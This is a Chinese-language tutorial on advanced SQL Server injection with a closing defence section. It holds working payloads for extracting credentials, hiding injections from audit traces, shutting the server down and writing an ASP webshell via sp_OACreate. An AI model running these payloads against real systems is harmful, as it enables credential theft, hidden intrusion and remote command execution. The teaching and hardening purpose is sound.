首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 進階 SQL Injection 技術深度解析:從錯誤回顯到系統淪陷

     編輯:關於SqlServer

前言:超越基礎的注入藝術

本文基於經典文獻《Advanced SQL Injection in SQL Server Applications》,系統闡述 **IIS+ASP+SQL Server** 架構下的進階注入技術:錯誤回顯偵察結構、Union 注入提取資料、二次注入、長度限制繞過、審計繞過、CLR/擴展程序系統控制,並給出完整防禦對策。

一、錯誤回顯偵察:資料庫結構反向工程

1. HAVING/GROUP BY 遞歸枚舉欄位

-- 步驟 1:觸發「欄位未出現在 GROUP BY」錯誤洩露第一欄
' HAVING 1=1--
-- 錯誤:Column 'users.id' is invalid in the select list...

-- 步驟 2:將洩露欄位加入 GROUP BY,繼續洩露下一欄
' GROUP BY users.id HAVING 1=1--
-- 錯誤:Column 'users.username' is invalid...

-- 步驟 3:遞歸直到無錯誤,獲得完整欄位清單
' GROUP BY users.id, users.username, users.password, users.privs HAVING 1=1--

2. 型別轉換錯誤提取資料值

-- 利用 UNION SELECT 將字串強制轉換為 int,錯誤訊息回傳字串內容
' UNION SELECT @@version,1,1,1--
-- 錯誤:Syntax error converting nvarchar value 'Microsoft SQL Server 2000...' to int

-- 枚舉用戶名
' UNION SELECT MIN(username),1,1,1 FROM users WHERE username > 'a'--
-- 錯誤:...converting varchar value 'admin' to int

' UNION SELECT MIN(username),1,1,1 FROM users WHERE username > 'admin'--
-- 錯誤:...converting varchar value 'chris' to int

-- 提取密碼
' UNION SELECT password,1,1,1 FROM users WHERE username='admin'--
-- 錯誤:...converting varchar value 'r00tr0x!' to int

-- 一次性提取所有帳密(變數串聯)
'; BEGIN DECLARE @ret VARCHAR(8000) SET @ret=':' 
SELECT @ret=@ret+' '+username+'/'+password FROM users WHERE username>@ret 
SELECT @ret AS ret INTO foo END--
-- 然後:' UNION SELECT ret,1,1,1 FROM foo-- 獲得完整清單
'; DROP TABLE foo-- 清理痕跡

二、進階繞過技術

1. 無單引號字串構造

-- 使用 CHAR() 組合 ASCII 碼
INSERT INTO users VALUES (666, 
    CHAR(0x63)+CHAR(0x68)+CHAR(0x72)+CHAR(0x69)+CHAR(0x73),  -- 'chris'
    CHAR(0x63)+CHAR(0x68)+CHAR(0x72)+CHAR(0x69)+CHAR(0x73),
    0xFFFF);

2. 二次注入

註冊用戶 admin'-- → 應用過濾單引號存為 admin''-- → 修改密碼功能以 rso("username") 直接拼接 UPDATE → 執行 UPDATE users SET pwd='new' WHERE username='admin'--' → 竄改 admin 密碼。

根因:資料庫中儲存的惡意資料在二次使用時未經驗證直接拼接。

3. 長度截斷繞過

用戶名限制 16 字元,輸入 aaaaaaaaaaaaaaa' (16 字元) → 過濾器嘗試雙引號變 aaaaaaaaaaaaaaa'' (17 字元) → 截斷為 aaaaaaaaaaaaaaa' → 密碼欄位輸入 '; SHUTDOWN-- → 實際 SQL:WHERE username='aaaaaaaaaaaaaaa'' AND pwd=''; SHUTDOWN-- → 執行關機。

4. 審計繞過:sp_password 隱藏注入

' UNION SELECT @@version,1,1,1--sp_password

SQL Server 追蹤機制偵測到 sp_password 關鍵字即隱藏該批次完整 SQL 文本(原為保護密碼設計),攻擊者利用此特性使注入語句不留痕跡。

三、系統級利用:從資料庫到作業系統

向量關鍵程序/功能前置條件影響
命令執行xp_cmdshellsysadmin、程序存在完整 OS 控制權
登錄操作xp_regread/write/delete/enum*sysadmin、服務帳號高權限持久化、偵察、破壞
服務控制xp_servicecontrol (start/stop/pause/continue)sysadmin啟動/停止關鍵服務
連結伺服器OPENQUERY/OPENROWSET 查詢遠端 DB已配置連結伺服器、信任連線橫向移動攻擊其他 DB
自訂擴展程序sp_addextendedproc 載入惡意 DLLsysadmin、檔案寫入權限進程內執行任意代碼
檔案讀取BULK INSERT 讀取任意文字檔INSERT/BULKADMIN 權限、檔案可讀竊取原始碼、配置檔
檔案寫入BCP 匯出任意文字檔命令列存取、有效登入植入 WebShell、修改配置
COM 自動化sp_OACreate/Method/GetProperty 實例化 ActiveXsysadmin、OLE Automation 啟用執行 WScript.Shell、FileSystemObject 等

COM 自動化實戰範例

-- 1. 執行系統命令 (WScript.Shell)
DECLARE @o INT
EXEC sp_OACreate 'WScript.Shell', @o OUT
EXEC sp_OAMethod @o, 'Run', NULL, 'notepad.exe'

-- 2. 讀取檔案
DECLARE @o INT, @f INT, @ret INT, @line VARCHAR(8000)
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT
EXEC sp_OAMethod @o, 'OpenTextFile', @f OUT, 'C:\boot.ini', 1
EXEC @ret = sp_OAMethod @f, 'ReadLine', @line OUT
WHILE @ret = 0 BEGIN PRINT @line; EXEC @ret = sp_OAMethod @f, 'ReadLine', @line OUT END

-- 3. 寫入 WebShell
DECLARE @o INT, @f INT, @ret INT
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT
EXEC sp_OAMethod @o, 'CreateTextFile', @f OUT, 'C:\Inetpub\wwwroot\cmd.asp', 1
EXEC @ret = sp_OAMethod @f, 'WriteLine', NULL, 
    '<% Set o=Server.CreateObject("WScript.Shell"): o.Run(Request.QueryString("cmd")) %>'

-- 4. 語音合成 (趣味展示)
DECLARE @o INT, @ret INT
EXEC sp_OACreate 'Speech.VoiceText', @o OUT
EXEC sp_OAMethod @o, 'Speak', NULL, 'All your SQL Servers belong to us', 528

四、預存程序注入:參數化的誤區

呼叫預存程序**不等於**安全:

-- 危險:字串拼接呼叫預存程序
EXEC sp_who '1'; SELECT * FROM sysobjects--

-- 安全:ADO Command 物件參數集合
cmd.CommandText = "sp_who"
cmd.CommandType = adCmdStoredProc
cmd.Parameters.Append cmd.CreateParameter("@spid", adInteger, adParamInput, , 1)

判斷標準:若應用程式產生的最終 SQL 字串包含使用者輸入拼接,**即使呼叫預存程序也存在注入風險**。

五、完整防禦策略

1. 輸入驗證三層次(由強至弱)

  1. 白名單驗證:僅允許預期字元集(如密碼 ^[a-zA-Z0-9!@#$%]{8,32}$);
  2. 黑名單拒絕:拒絕 select|insert|update|delete|drop|--|'|;|xp_|sp_ 等關鍵字(輔助用,不可為主);
  3. 修正/清理:REPLACE(input, '''', '''''') 雙引號轉義(最弱,易繞過)。

最佳實務:**白名單為主,黑名單為輔,嚴禁修正模式**。

2. 參數化查詢:唯一根治

所有動態 SQL 條件、排序、分頁參數化。識別碼(表名/欄位名)白名單驗證後拼接。

3. SQL Server 鎖定清單

  1. 網路庫最小化(僅 TCP/IP 1433,停用 Named Pipes/VIA);
  2. 帳號最小化:建立應用專用低權限帳號,移除 sa/guest/範例帳號,強制複雜密碼;
  3. 物件最小化:移除 xp_cmdshell/xp_reg*/sp_OA*、範例資料庫;
  4. 權限最小化:應用布號僅 EXECUTE 特定預存程序;
  5. 修補最新化:套用所有累積更新 (CU);
  6. 審計完整化:啟用失敗/成功登入審計、DDL 審計、sp_trace 追蹤高風險事件。

六、結語

進階 SQL Injection 利用**資料庫豐富的擴展功能**(xp_cmdshell、CLR、COM、連結伺服器)將攻擊面從資料層延伸至作業系統與網路層。防禦不在於「過濾更多關鍵字」,而在於:**參數化查詢消除注入語法基礎 + 最小權限限制利用後果 + 強化配置移除利用工具**。這是一場架構級的攻防,而非字串處理的遊戲。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved